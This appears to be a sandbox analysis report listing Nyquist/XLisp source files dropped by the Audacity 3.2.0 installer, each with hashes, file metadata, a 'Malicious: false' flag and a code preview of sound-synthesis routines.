Preview:	;; X-Music, inspired by Commmon Music....#\|..PATTERN SEMANTICS....Patterns are objects that are generally accessed by calling (next..pattern). Each call returns the next item in an infinite sequence..generated by the pattern. Items are organized into periods. You can..access all (remaining) items in the current period using (next pattern..t). ....Patterns mark the end-of-period with +eop+, a distinguished atom. The..+eop+ markers are filtered out by the next() function but returned by..the :next method. ....Pattern items may be patterns. This is called a nested pattern. When..patterns are nested, you return a period from the innermost pattern,..i.e. traversal is depth-first. This means when you are using something..like random, you select a random pattern and get an item from it. The..next time you handle :next, you get another item from the same pattern..until the pattern returns +eonp+, which you can read as "end of nested..pattern". Random would then advance to the next random patt

C:\Program Files\Audacity\Nyquist\is-MROM6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1181
Entropy (8bit):	4.438724820024348
Encrypted:	false
SSDEEP:	24:hmN20Wm1gJospoCizk+2r7d04FKeRkXdVeyRV5WC8ST:obA7izkbxFK5zRVQC8A
MD5:	9CC13FED2BC804CC7B6C121BDF1F0DE5
SHA1:	B421E34C22A94FAFEB302A42D6BC91CFC131FA54
SHA-256:	E77A8A12E56379DE05FB1C0443084C83EC414942C0E50C1A1443EAD5F2B00609
SHA-512:	595B925967005CC44A2DF786D4B0223275EE43F68EF5951C66130EA5E3F19C3026B681190A265A35B0EC50A6EE04C8A4BD2DF30E597F890A1B03E5FECD10A31A
Malicious:	false
Preview:	..(defun ss () (osc c5))....(defun tt () (stretch 2 (snd-tapv (ss) 1.1 (scale d (lfo 10)) 2.2)))..(setf d .01)....(defun g () (play (tt)))....;(set-sound-srate 10)..;(set-control-srate 10)..(defun rr () (stretch 10 (ramp)))..(defun ll () (stretch 10 (lfo .5)))..(defun xx () (snd-tapv (rr) 1.1 (ll) 2.2))..(defun h () (snd-samples (xx) 150))....(defun chorus (sound maxdepth depth rate saturation).. (let ((modulation (prod depth (stretch-abs 10000.0 (general-lfo rate)))).. (offset (/ maxdepth 2.0)).. chor).. (setf chor (snd-tapv sound offset modulation maxdepth)).. (sum (prod chor saturation) (prod (seq (s-rest offset) sound).. (sum 1.0 (prod -1.0 saturation))))))......(set-sound-srate 22050.0)....(defun f ().. (chorus (s-read "runtime\\ah.wav") .1 .1 1 .5))....(defun e ().. (seq (s-rest .05) (chorus (s-read "rpd.wav") .07 .07 .7 .5)))....(defun d () (sum (e) (f)))....(defun rou () (s-read "round.wav" :time-offset 1.18 :dur

C:\Program Files\Audacity\Nyquist\is-NPI02.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1735
Entropy (8bit):	4.76395540839255
Encrypted:	false
SSDEEP:	48:z7LDLAxo5cDiE5EhYD0FvsTz6PtxltlBcL3AV2:z7XDE5u3NPrs
MD5:	2D8AAD43D076AA46C464F5C90D9AA81B
SHA1:	04C8ED5BCFE203140782619DD91BF2736117E4CB
SHA-256:	0F12C09F6B18F3A30B8C0E98C17BB602C1332FBB10BF17162802B0566EBD349A
SHA-512:	FEE50C22B83EA12E64EDB7AE9CE4B16DB20DB773B0E80778E62F917D887F333DC7A9CBE8180E9CDD2621FB239671C058DF2B18FB401389B4CE86265D021F7AD3
Malicious:	false
Preview:	;; xlinit.lsp -- standard definitions and setup code for XLisp..;;......(defun bt () (baktrace 6))....(defmacro setfn (a b) .. `(setf (symbol-function ',a) (symbol-function ',b)))....(setfn co continue)..(setfn top top-level)..(setfn res clean-up)..(setfn up clean-up)....;## display -- debugging print macro..;..; call like this (display "heading" var1 var2 ...)..; and get printout like this:..; "heading : VAR1 = <value> VAR2 = <value> ...<CR>"..;..; returns:..; (let ()..; (format t "~A: " ,label)..; (format t "~A = ~A " ',item1 ,item1)..; (format t "~A = ~A " ',item2 ,item2)..; ...)..;..(defmacro display-macro (label &rest items).. (let ($res$).. (dolist ($item$ items).. (setq $res$ (cons.. `(format t "~A = ~A " ',$item$ ,$item$).. $res$))).. (append (list 'let nil `(format t "~A : " ,label)).. (reverse $res$).. '((terpri)))))......(defun display-on () (setfn display display-

C:\Program Files\Audacity\Nyquist\is-NQM3B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24084
Entropy (8bit):	4.602648010261214
Encrypted:	false
SSDEEP:	384:2G7GEr0OhGuLhuZek7ugokvl7JDz7+bvJ5rACb2qpVRXgr7n5E7dquy:2G7GDOhzgr7NFdJehi62qpVRXgr7cry
MD5:	6AADF8F0F82B99C674FA63411F62836B
SHA1:	5F1D63289F774EBC194AC8D0294C99126D7FE65D
SHA-256:	61B3280F4474112548D4CA7DD2DED8C3C26BE105C91E1953312970D607974A1A
SHA-512:	2587E967CE5ABC401E63E4554AEEBD9EEF1E12FBA5997E1B418B60E1B81C00529CDDBC2A9EB8919C3D396A9F18912A11C4FF62143001E08858457D38621E86A1
Malicious:	false
Preview:	;;; ********************************************************************..;;; Copyright (C) 2006 Rick Taube..;;; This program is free software; you can redistribute it and/or ..;;; modify it under the terms of the Lisp Lesser Gnu Public License...;;; See http://www.cliki.net/LLGPL for the text of this agreement...;;; ********************************************************************....;;; $Revision: 1.2 $..;;; $Date: 2009-03-05 17:42:25 $....;; DATA STRUCTURES AND ALGORITHMS (for sal.lsp and parse.lsp)..;;..;; TOKENIZE converts source language (a string) into a list of tokens..;; each token is represented as follows:..;; (:TOKEN <type> <string> <start> <info> <lisp>)..;; where <type> is one of:..;; :id -- an identifier..;; :lp -- left paren..;; :rp -- right paren..;; :+, etc. -- operators..;; :int -- an integer..;; :float -- a float..;; :print, etc. -- a reserved word..;; <string> is the source string for the token..

C:\Program Files\Audacity\Nyquist\is-NTKH4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	24378
Entropy (8bit):	5.0046907750926115
Encrypted:	false
SSDEEP:	384:A/7KK9LdxEXkg5qn9R5uponlup2j33aGg3P3g/9P9Sy3Az6v:A/7vLdzg5qn9/uponlup2j3KdP3g99S2
MD5:	E88C2FFA16A8E1E277653511CDCD8612
SHA1:	1DF1E8739B5E683A82D974F33131A2A61C46BC50
SHA-256:	659436E8DE4EFE64EB868FC439ADA0DF89BCA8B2133F7373A535D3BB51DF62CD
SHA-512:	17751E448E0DA9009C3383332174AA0463B138E5347E95FC246539BB9A1D9BAD7E646532EAA86FC40BF3E72B3336EB118128861164619B9D1986690EBBBBBFEF
Malicious:	false
Preview:	;; dspprims.lsp -- interface to dsp primitives....;; ARESON - notch filter..;; ..(defun areson (s c b &optional (n 0)).. (multichan-expand "ARESON" #'nyq:areson.. '(((SOUND) nil) ((NUMBER SOUND) "center").. ((NUMBER SOUND) "bandwidth") ((INTEGER) nil)).. s c b n))....(setf areson-implementations.. (vector #'snd-areson #'snd-aresonvc #'snd-aresoncv #'snd-aresonvv))....;; NYQ:ARESON - notch filter, single channel..;;..(defun nyq:areson (signal center bandwidth normalize).. (select-implementation-1-2 "ARESON" areson-implementations .. signal center bandwidth normalize))......;; hp - highpass filter..;; ..(defun hp (s c).. (multichan-expand "HP" #'nyq:hp.. '(((SOUND) "snd") ((NUMBER SOUND) "cutoff")) s c))....(setf hp-implementations.. (vector #'snd-atone #'snd-atonev))....;; NYQ:hp - highpass filter, single channel..;;..(defun nyq:hp (s c).. (select-implementation-1-1 "HP" hp-implementations s c))......;; comb-delay-from-hz -- compute the delay argument..;;..

C:\Program Files\Audacity\Nyquist\is-PPVH8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.023715938295866
Encrypted:	false
SSDEEP:	24:nGo11CkSYoCMB2qMeP+XVq9vKLxNwS9BK1UV7lcjv2m+aq1Cp:3N53Lq9vK9qouv0NK
MD5:	0B1D17B05F665D5C3C34DC700E0AAEDD
SHA1:	836082AA89961D4DF50B2980ACAC8368EC1BB386
SHA-256:	A38E4F0647557BCAEF1DB9FD483BF25FFFAF135DA07B5F6552EE9A7F72B520CD
SHA-512:	646A8B220386160F3C65CC31F472F0413A6E5E92CBE8035791667C0C2730A8AE32E2DF6C31E40E4512DAD937791CD1F5BD20D2355269993C05136C62110BEC76
Malicious:	false
Preview:	(expand 5)....(load "xlinit.lsp" :verbose NIL)..(setf gc-flag nil)..(load "misc.lsp" :verbose NIL)..;; now compute-default-sound-file is defined; needed by system.lsp .....(load "evalenv.lsp" :verbose NIL)..(load "printrec.lsp" :verbose NIL)....(load "sndfnint.lsp" :verbose NIL)..(load "seqfnint.lsp" :verbose NIL)....(load "velocity.lsp" :verbose NIL) ; linear-to-vel etc..(if (not (load "system.lsp" :verbose NIL)).. (error "Nyquist could not load system.lsp - check your installation"))..;; now file-separator is defined, used by nyquist.lsp.....(load "nyquist.lsp" :verbose NIL)......(load "seqmidi.lsp" :verbose NIL)..(load "nyqmisc.lsp" :verbose NIL)..(load "stk.lsp" :verbose NIL)..(load "envelopes.lsp" :verbose NIL)..(load "equalizer.lsp" :verbose NIL)..(load "xm.lsp" :verbose NIL)..(load "sal.lsp" :verbose NIL)......(format t "~%Nyquist -- A Language for Sound Synthesis and Composition~%")..(format t " Copyright (c) 1991,1992,1995,2007-2020 by Roger B. Dannenberg~%")..(forma

C:\Program Files\Audacity\Nyquist\is-PVUQC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	17753
Entropy (8bit):	4.625561371109781
Encrypted:	false
SSDEEP:	192:zAqSALv+dpWqnNj1JdJK0kenSEEg7tTqUtGe2BrktxfsHK2gbTmiqaukEAIxjyNG:37cpWApNCng/BKXgbUxjyNXz0QoHp
MD5:	20DCE5DB02CA8916BFC84FD46361A2A0
SHA1:	B6E941BB385B0AE5E13A9EB7EFADC8AD71500289
SHA-256:	06BA36789A08FA5A7B471271166976175E4F1D9AC06BDB11556F4CB2E0AEC256
SHA-512:	62357312D1DCD3EE9CC1D2027C8435DB21E19BAB3B661DAA04F751C1A4A199D43FFCEB04E0C3B722231248BFB5F5777AE9C3C6BE164F51C1E253508FE47A7EF0
Malicious:	false
Preview:	;; fileio.lsp....;; if default-sf-dir undefined, set it to user's tmp directory..;;..(cond ((not (boundp 'default-sf-dir)).. ;; it would be nice to use get-temp-path, but when running.. ;; the Java-based IDE, Nyquist does not get environment.. ;; variables to tell TMP or TEMP or USERPROFILE.. ;; We want to avoid the current directory because it may.. ;; be read-only. Search for some likely paths..... ;; Note that since these paths don't work for Unix or OS X,.. ;; they will not be used, so no system-dependent code is .. ;; needed.. (let ((current (setdir "."))).. (setf default-sf-dir.. (or (setdir "c:\\tmp\\" nil).. (setdir "c:\\temp\\" nil).. (setdir "d:\\tmp\\" nil).. (setdir "d:\\temp\\" nil).. (setdir "e:\\tmp\\" nil).. (setdir "e:\\temp\\" nil)... (get-temp-path))).. (format t "Set *default-sf-

C:\Program Files\Audacity\Nyquist\is-QSS2A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3453
Entropy (8bit):	4.7206036522032635
Encrypted:	false
SSDEEP:	96:+y3P1JUZ7I3DfJFcFPSRLsAq+OMzPl8nF/WFgdFaqqb14:+y/bB3DfqSRLsAq+RzyZd+J4
MD5:	01BA9638C2819F35421D88D0996B9327
SHA1:	1814A545540A90B2F956D64A522DB58E813FB58E
SHA-256:	A0B643B2E5A5B78203CA829A591A84AEE4D6CD15E3758FC788F1AC904D030CBC
SHA-512:	150D14AC25B10F06F65260450F7ED8741C18C7C9389DBBBAF626B7EBB0961FBCAECF0E55CEBA7ECCC881A63FD8842CC37798D6257F8D9D7E699D04CFFA578B52
Malicious:	false
Preview:	; init.lsp -- default Nyquist startup file....(setf breakenable t)..(load "nyinit.lsp" :verbose nil)....; add your customizations here:..; e.g. (setf default-sf-dir "...")....; (load "test.lsp")........;; "_" (UNDERSCORE) - translation function..;;..;; Third party plug-ins are not translated by gettext in Audacity, but may include a..;; list of translations named locale. The format of locale must be:..;; (LIST (language-list) [(language-list) ...]) ..;; Each language-list is an a-list in the form:..;; ("cc" ((list "string" "translated-string") [(list "string" "translated-string") ...]))..;; where "cc" is the quoted country code...;;..(setfn underscore _)..;;..(defun _(txt &aux newtxt).. (when (boundp 'locale).. (when (not (listp locale)).. (error "bad argument type" locale)).. (let* ((cc (get 'audacity 'language)).. (translations (second (assoc cc locale :test 'string-equal)))).. (if translations.. (let ((translation (second

C:\Program Files\Audacity\Nyquist\is-RAD77.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	10375
Entropy (8bit):	4.670890040006653
Encrypted:	false
SSDEEP:	192:zf6fxFZdnuuAHPczZtegbkdP47vqcdq4WaEQphocVXU3ZGTdqWJ:ODZdnB3ekv3IQDhMGIWJ
MD5:	402239F07A5F7042A3EA7B35A51D2722
SHA1:	495F376131A08D0D557E3D0171F5E6992031EAD9
SHA-256:	A3A16E55300AEA401ECF550C7D245A6638C3B4C74234DA37570AA2A9C4FD9499
SHA-512:	4777CF6D0A275907F0617A978B74B30598D213AF82A48736BDD8E58B8957963F32C538266EA57405562B765444CA7F399423EDD5D74127FC79189E599A920263
Malicious:	false
Preview:	;; spectral-analysis.lsp -- functions to simplify computing..;; spectrogram data..;;..;; Roger B. Dannenberg and Gus Xia..;; Jan 2013, modified Oct 2017....;; API:..;;..;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;..;; set sa-obj = sa-init(resolution: <nil or Hz>,..;; fft-dur: <nil or seconds>,..;; skip-period: <seconds>,..;; window: <window type>, ..;; input: <filename or sound>)..;; ..;; sa-init() creates a spectral-analysis object that can be used..;; to obtain spectral data from a sound...;;..;; resolution is the width of each spectral bin in Hz. If nil of..;; not specified, the resolution is computed from fft-dur. ..;; The actual resolution will be finer than the specified ..;; resolution because fft sizes are rounded to a power of 2...;; fft-dur is the width of the FFT window in seconds. The actual..;; FFT size will be rounded up to the nearest power of two..;; in samples. If nil, fft-du

C:\Program Files\Audacity\Nyquist\is-RHAJM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1187
Entropy (8bit):	4.412347447399604
Encrypted:	false
SSDEEP:	24:zQSuI3l/zKJ2FR7vFz8+FkWcMojXFXhMFThF/7lFMpcIBFIlQFqlFFqTFLPFv:zjz3l/NF9Fz8+F15orFX2F9F/BFmDBF/
MD5:	EE7B7DAED5524F4B100C914FFBE02414
SHA1:	E93F933867DC08010613A44A01E310D4607651B0
SHA-256:	F0C36E3A86022B26149CEE558FF8C7BE44A83294C287AC44D2BFE049C51804D1
SHA-512:	16D0E2E3471A3AD7FED874AC08362463A074D7EE40E49CD175E312853F35B609D0EB36481991BFAB7C5874334F3236BBC85D4AA451D9500949F8DFC90F1EB007
Malicious:	false
Preview:	;; nyqmisc.lsp -- misc functions for nyquist....(init-global snd-display-max-samples 10000)..(init-global snd-display-print-samples 100)......; (snd-display sound) -- describe a sound..(defun snd-display (sound).. (let (t0 srate len extent dur samples).. (setf srate (snd-srate sound)).. (setf t0 (snd-t0 sound)).. (setf len (snd-length sound snd-display-max-samples)).. (cond ((= len snd-display-max-samples).. (setf extent (format nil ">~A" (+ t0 (* srate snd-display-max-samples)))).. (setf dur (format nil ">~A" (* srate snd-display-max-samples)))).. (t.. (setf extent (cadr (snd-extent sound snd-display-max-samples))).. (setf dur (/ (snd-length sound snd-display-max-samples) srate)))).. (cond ((> len 100).. (setf samples (format nil "1st ~A samples" snd-display-print-samples)).. (setf nsamples snd-display-print-samples)).. (t.. (setf samples (format nil "~A sa

C:\Program Files\Audacity\Nyquist\is-UVR1R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1412
Entropy (8bit):	4.581814869742504
Encrypted:	false
SSDEEP:	24:799NUmEKRZktQmdHKMBNWNCq1/ZW1O+BwOpGGg2fMNFQUM3Nid4QpeBPxF57q:7iiGCmPWNCCZoO+BXp/gdQVNyYPxF52
MD5:	2A76238A9EF5B32DBF81BE22340C04CB
SHA1:	0CE6406E067C73771FB26178A9FB63564CF4EDEA
SHA-256:	B91D56918DD6830A4DA3050844F64B2111534704E6267BBF3D8033A4FA0807E5
SHA-512:	0637F18406FA52D7FB0AC7D92A0464B7912B8CA74F23B0C2B183A1E50927A25B920253D98A2C2888AE4435529CAE0C7C3A086D8B898570DFA0D68C3A508DAEA1
Malicious:	false
Preview:	;;..;; The EVAL function in the original XLISP evaluated in the current lexical..;; context. This was changed to evaluate in the NIL (global) context to..;; match Common Lisp. But this created a problem: how do you EVAL an..;; expression in the current lexical context?..;;..;; The answer is you can use the evalhook facility. The evalhook function..;; will evaluate an expression using an environment given to it as an..;; argument. But then the problem is "how do you get the current..;; environment?" Well the getenv macro, below obtains the environment by..;; using an evalhook form...;;..;; The following two macros do the job. Insteading of executing (eval <expr>)..;; just execute (eval-env <expr>). If you want, you can dispense with the..;; macros and execute:..;;..;;(evalhook <expr> nil nil (let ((evalhook (lambda (x env) env)))..;; (eval nil)))..;;..;; Tom Almy 10/91..;;....(defmacro getenv ().. '(progv '(evalhook) .. (list #'(lambda (exp

C:\Program Files\Audacity\Nyquist\is-V3FC0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8647
Entropy (8bit):	4.616184397613145
Encrypted:	false
SSDEEP:	192:zLIegqx44EgrEA8GMoVs5czd272t2u34Epb:nIeppsod272t2u3DR
MD5:	E36ECE90F44128520D061BD7CEC9E1A7
SHA1:	048E1E8E49943C4D6EF5B69FFF687A19E77E4DF2
SHA-256:	9216F975F8DAC6C47791784897032E06C4BD1316A313681F9388D37B2FE3ACFB
SHA-512:	6AFCC5910C75592DBAA2DEAEDB88D19ED95B02177D529B6F38A3224862752FDC45866CDE983F418CCB58723DC421117A4694EBED4FEB8041C5875C1A0B58E2AB
Malicious:	false
Preview:	;; sliders.lsp -- communicate with NyquistIDE to implement control panels..;; Roger B. Dannenberg..;; April 2015....;; (stop-on-zero s) -- a sound that returns 1 until s goes to zero, then..;; the sound terminates. If s comes from a slider and you multiply..;; a sound by (stop-on-zero s), you can interactively stop it..;; (make-slider-panel "name" color) -- sets panel name for the following..;; sliders..;; (make-slider "param" [initial [low high]]) -- create slider named ..;; "param" with optional range and initial value. Also returns..;; a sound...;; (make-button "param" normal) -- create a button named "param" with..;; a starting value of normal (either 0 or 1). While the button..;; in the panel is pressed, the value changes to 1 or 0...;; (get-slider-value "param") -- when called with a string, this looks up..;; the slider value by name..;; (slider-panel-close "name") -- close t

C:\Program Files\Audacity\Nyquist\misc.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8831
Entropy (8bit):	4.663600821617839
Encrypted:	false
SSDEEP:	192:oGVFnduVVs6WgYXdo65VeVmYx3C6+iFCNiXN51y8HyLh:o0Pf8VmYx1+i8Ngc8Hyt
MD5:	5F0E0381F6689EC1DCB8C1410F54F638
SHA1:	FE30819664C01C40A6DE4B6EC338A7F126EBFB6F
SHA-256:	C95F5A5AFC6181EE52B97E36F3F74972D2E79BA3FA22A852D364908D732E58AB
SHA-512:	3AC601B222A18AAD9CEEC409E45F0DE359B76AFD271C784BD2A6EA5FCEB12A8EF59CE0D87C75D1E144D7FB3F7E57F577B557EAD7A8D8CCF00A6AAB7B141A31A0
Malicious:	false
Preview:	;## misc.lsp -- a collection of useful support functions....;; Garbage collection "improvement" -- XLISP will GC without allocation..;; as long as it does not run out of cells. This can make it very slow..;; since GC does work proportional to the heap size. If there were..;; always at least, say, 1/3 of the heap free after GC, then allocating..;; cells would be more-or-less a constant time operation (amortized)...;;..;; So, after GC, we'll expand until we have 1/3 of the heap free...;;..(defun ny:gc-hook (heap-size free-cells).. (cond ((< (* free-cells 2) heap-size) ;; free cells is < 1/3 heap.. ;; expand. Each expansion unit is 2000 cons cells.. (let* ((how-many-not-free (- heap-size free-cells)).. (should-be-free (/ how-many-not-free 2)).. (how-many-more (- should-be-free free-cells)).. (expand-amount (/ how-many-more 2000))).. (cond ((> expand-amount 0).. (if gc-flag.. (fo

C:\Program Files\Audacity\Nyquist\nyinit-dbg.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.044401708349308
Encrypted:	false
SSDEEP:	24:nGo11CkS2CMB2qMeP+LZ3JJ3S9BK1UV7RjcEY61iBjiO1Lcjv2mTf1Cp:3K37olGAihi0svhfK
MD5:	57DBBF6897651ED1D4A6A5CBAD7AE407
SHA1:	47BE64B27C1FA90B3FDFDC00071B5E7848E1C6EE
SHA-256:	1B6F8FD2395EDFFD06605EC54FA0DF49569B603C29085D61C2B24D094047DEBD
SHA-512:	3CBB38F8CDABC302A0B56404AFD8FF2511A7B6AA1AD0214998647FD30BEFC6C47CD9F8A72030204C3C3F9F6C45D8A662461B7EBFCB0340BD763A21B451FBC473
Malicious:	false
Preview:	(expand 5)....(load "xlinit.lsp" :verbose NIL)..(setf gc-flag nil)..(load "misc.lsp" :verbose NIL)..(load "evalenv.lsp" :verbose NIL)..(load "printrec.lsp" :verbose NIL)....(load "sndfnint.lsp" :verbose NIL)..(load "seqfnint.lsp" :verbose NIL)....(load "velocity.lsp" :verbose NIL) ; linear-to-vel etc..(load "nyquist-dbg.lsp" :verbose NIL)..(load "compress.lsp" :verbose NIL)....(load "system.lsp" :verbose NIL)....(load "seqmidi.lsp" :verbose NIL)..(load "nyqmisc.lsp" :verbose NIL)..(load "stk.lsp" :verbose NIL)..(load "envelopes.lsp" :verbose NIL)..(load "equalizer.lsp" :verbose NIL)..(load "xm.lsp" :verbose NIL)..(load "sal.lsp" :verbose NIL)....;; set to T to get ANSI headers and NIL to get antique headers..(setf ANSI NIL)....;; set to T to generate tracing code, NIL to disable tracing code..(setf WATCH NIL)....(format t "~%Nyquist -- A Language for Sound Synthesis and Composition~%")..(format t " Copyright (c) 1991,1992,1995,2007-2012 by Roger B. Dannenberg~%")..(format t "

C:\Program Files\Audacity\Nyquist\nyinit.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	5.023715938295866
Encrypted:	false
SSDEEP:	24:nGo11CkSYoCMB2qMeP+XVq9vKLxNwS9BK1UV7lcjv2m+aq1Cp:3N53Lq9vK9qouv0NK
MD5:	0B1D17B05F665D5C3C34DC700E0AAEDD
SHA1:	836082AA89961D4DF50B2980ACAC8368EC1BB386
SHA-256:	A38E4F0647557BCAEF1DB9FD483BF25FFFAF135DA07B5F6552EE9A7F72B520CD
SHA-512:	646A8B220386160F3C65CC31F472F0413A6E5E92CBE8035791667C0C2730A8AE32E2DF6C31E40E4512DAD937791CD1F5BD20D2355269993C05136C62110BEC76
Malicious:	false
Preview:	(expand 5)....(load "xlinit.lsp" :verbose NIL)..(setf gc-flag nil)..(load "misc.lsp" :verbose NIL)..;; now compute-default-sound-file is defined; needed by system.lsp .....(load "evalenv.lsp" :verbose NIL)..(load "printrec.lsp" :verbose NIL)....(load "sndfnint.lsp" :verbose NIL)..(load "seqfnint.lsp" :verbose NIL)....(load "velocity.lsp" :verbose NIL) ; linear-to-vel etc..(if (not (load "system.lsp" :verbose NIL)).. (error "Nyquist could not load system.lsp - check your installation"))..;; now file-separator is defined, used by nyquist.lsp.....(load "nyquist.lsp" :verbose NIL)......(load "seqmidi.lsp" :verbose NIL)..(load "nyqmisc.lsp" :verbose NIL)..(load "stk.lsp" :verbose NIL)..(load "envelopes.lsp" :verbose NIL)..(load "equalizer.lsp" :verbose NIL)..(load "xm.lsp" :verbose NIL)..(load "sal.lsp" :verbose NIL)......(format t "~%Nyquist -- A Language for Sound Synthesis and Composition~%")..(format t " Copyright (c) 1991,1992,1995,2007-2020 by Roger B. Dannenberg~%")..(forma

C:\Program Files\Audacity\Nyquist\nyqmisc.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1187
Entropy (8bit):	4.412347447399604
Encrypted:	false
SSDEEP:	24:zQSuI3l/zKJ2FR7vFz8+FkWcMojXFXhMFThF/7lFMpcIBFIlQFqlFFqTFLPFv:zjz3l/NF9Fz8+F15orFX2F9F/BFmDBF/
MD5:	EE7B7DAED5524F4B100C914FFBE02414
SHA1:	E93F933867DC08010613A44A01E310D4607651B0
SHA-256:	F0C36E3A86022B26149CEE558FF8C7BE44A83294C287AC44D2BFE049C51804D1
SHA-512:	16D0E2E3471A3AD7FED874AC08362463A074D7EE40E49CD175E312853F35B609D0EB36481991BFAB7C5874334F3236BBC85D4AA451D9500949F8DFC90F1EB007
Malicious:	false
Preview:	;; nyqmisc.lsp -- misc functions for nyquist....(init-global snd-display-max-samples 10000)..(init-global snd-display-print-samples 100)......; (snd-display sound) -- describe a sound..(defun snd-display (sound).. (let (t0 srate len extent dur samples).. (setf srate (snd-srate sound)).. (setf t0 (snd-t0 sound)).. (setf len (snd-length sound snd-display-max-samples)).. (cond ((= len snd-display-max-samples).. (setf extent (format nil ">~A" (+ t0 (* srate snd-display-max-samples)))).. (setf dur (format nil ">~A" (* srate snd-display-max-samples)))).. (t.. (setf extent (cadr (snd-extent sound snd-display-max-samples))).. (setf dur (/ (snd-length sound snd-display-max-samples) srate)))).. (cond ((> len 100).. (setf samples (format nil "1st ~A samples" snd-display-print-samples)).. (setf nsamples snd-display-print-samples)).. (t.. (setf samples (format nil "~A sa

C:\Program Files\Audacity\Nyquist\nyquist-plot.txt (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.0566402665723045
Encrypted:	false
SSDEEP:	3:XqZviplWORIVLAvwv:Xov2HIhAC
MD5:	76A2CEB79EAE98DAF78DB5DA43DE4571
SHA1:	0161E9A6B118ABC2631DD529D7B133940D590E0B
SHA-256:	3313A168DD27484D84F123933C46F8A94D4A329C7AA6917CD8A0B526D729CE58
SHA-512:	1DBBEBA1D4F45DF9408539BAB2CF2D961F03AD47C13594EF4F6D563F5BCE91326F8BD3D1791F54FA4C40D4E3759E6F3050FE6E7A77D2144FB8C18D92AA11E1A5
Malicious:	false
Preview:	set nokey..plot "points.dat" with lines....

C:\Program Files\Audacity\Nyquist\nyquist.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	94344
Entropy (8bit):	4.7597488025006776
Encrypted:	false
SSDEEP:	1536:C9WiqidPXrEX11N5vR2KP3zecvA0owoQP7Dbh66LcnuM:C0vkKycvA0owoEbFhM
MD5:	48B5C77DB0620EF959A8E79F99B90915
SHA1:	0EE33FD7ADEF920EA629B44CCFC48E8E50B65B24
SHA-256:	68DAAF90F6AC6C2BB257302DE9DBC2C622D54BB0FAA649F5C224F807185B19AA
SHA-512:	590945A2A1CA41344D182F5680B0D71522EBFF83F1AC7FA752260E2C816CED615B0476D913C562A7EDD33E0646D3F5E90832B84D754C70E52BE9B117F8F8D337
Malicious:	false
Preview:	;;;..;;; ###########################################################..;;; ### NYQUIST-- A Language for Composition and Synthesis. ###..;;; ### ###..;;; ### Copyright (c) 1994-2006 by Roger B. Dannenberg ###..;;; ###########################################################..;;;..(princ "LOADING NYQUIST RUNTIME DEBUG VERSION\n")....;; #### Error checking and reporting functions ####....(setf SAL-CALL-STACK nil) ; because SEQ looks at this....;; MULTICHANNEL-SOUNDP - test for vector of sounds..(defun multichannel-soundp (v).. (prog ((rslt t)).. (if (not (arrayp v)) (return nil)).. (dotimes (i (length v)).. (cond ((not (soundp (aref v i))).. (setf rslt nil).. (return nil)))).. (return rslt)))....;; MULTICHANNELP - test for vector of sounds or numbers..(defun multichannelp (v).. (prog ((rslt t)).. (if (not (arrayp v)) (return nil)).. (dotimes (i (length v)).. (cond ((not 